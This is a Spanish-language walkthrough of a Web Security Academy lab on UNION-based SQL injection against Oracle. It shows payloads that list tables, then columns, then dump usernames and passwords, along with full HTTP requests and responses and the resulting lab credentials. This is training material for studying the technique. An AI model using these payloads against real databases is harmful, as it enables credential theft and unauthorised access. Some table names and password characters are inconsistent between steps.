

4 Lab SQL injection attack, listing the database contents on Oracle

Con la siguiente inyección conseguimos que nos reporte todas las tablas existente (si estamos utilizando Oracle).

```
```UNION+SELECT+table_name,NULL+FROM+all_tables--
```

### Request

Pretty Raw Hex

```
1 GET /filter?category=
 Gifts'UNION+SELECT+table_name,NULL+FROM+all_tables-- HTTP/2
2 Host:
 0af800d2042e5fb4804d089900af0091.web-security-academy.net
3 Cookie: session=zWwuRDWUbD6xyUhvMVfuqUXUFc4etpYl
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
 Gecko/20100101 Firefox/128.0
5 Accept:
 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Referer:
```

0 highlights

### Response

Pretty Raw Hex Render

Remember your search.

All Clothing, shoes and accessories Food & Drink Gifts

Pets Tech gifts

**APP\_ROLE\_MEMBERSHIP**

**APP\_USERS\_AND\_ROLES**

**AUDIT\_ACTIONS**

**Conversation Controlling Lemon**

Are you one of those people who opens their mouth only to discover you say the wrong thing? If this is you then the Conversation

Accedemos a la tabla 'USERS\_JNQEPF' que es en la que sospechamos que pueden estar las columnas que queremos (users, passwords), para ello utilizaremos la sentencia:

```UNION+SELECT+column\_name,+NULL+FROM+all\_tab\_columns+WHERE+table\_name='USERS\_JNQEPF'--

Ahora debemos acceder a las columnas que nos acaba de reportar (USERNAME_LEPPTP, PASSWORD_CUZVQD):

Request

Pretty Raw Hex

```
1 GET /filter?category=
  Gifts'UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name='USERS_JNQEPF'-- HTTP/2
2 Host:
  0abb000503cec59980d0035d00540077.web-security-academy.net
3 Cookie: session=j2Z3r8TscQtBYrSVPgSC6UrV9Il0lika
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
  Gecko/20100101 Firefox/128.0
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
```

0 highlights

Response

Pretty Raw Hex Render

```
91 don't delay, give us
92 a call today.
93 </td>
94 </tr>
95 <tr>
96   <th>
     PASSWORD_CUZVQD
   </th>
</tr>
<tr>
  <th>
    Snow Delivered To Your
    Door
  </th>
```

Para acceder a la información de estas columnas utilizaremos la siguiente sentencia:

```UNION+SELECT+USERNAME\_LEPPTP,+PASSWORD\_CUZVQD+FROM+USERS\_JNQEPF--

Request

PrettyRawHex

GET /filter?category=Gifts' UNION+SELECT+USERNAME\_LEPPTP,+PASSWORD\_CUZVQD+FROM+USERS\_JNQEFP-- HTTP/2

Host: 0abb000503cec59980d0035d00540077.web-security-academy.net

Cookie: session=j2Z3r8TscQtBYrSVPgSC6UrV9Il0lika

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

0 highlights

Response

PrettyRawHexRender

9cs31cj18ucsf0g8v0mu

</td>

</tr>

<tr>

<th>

wiener

</th>

<td>

qqf3q392tot14xf2mzog

</td>

</tr>

</tbody>

</table>

</div>

Se nos muestran todos los usuarios con sus respectivas contraseñas:

|                      |
|----------------------|
| administrator        |
| 53tin8eoz4slxyncvut3 |
| carlos               |
| 9cs31cji8ucsf0g8v0mu |
| wiener               |
| qqf3q392tot14xf2mzog |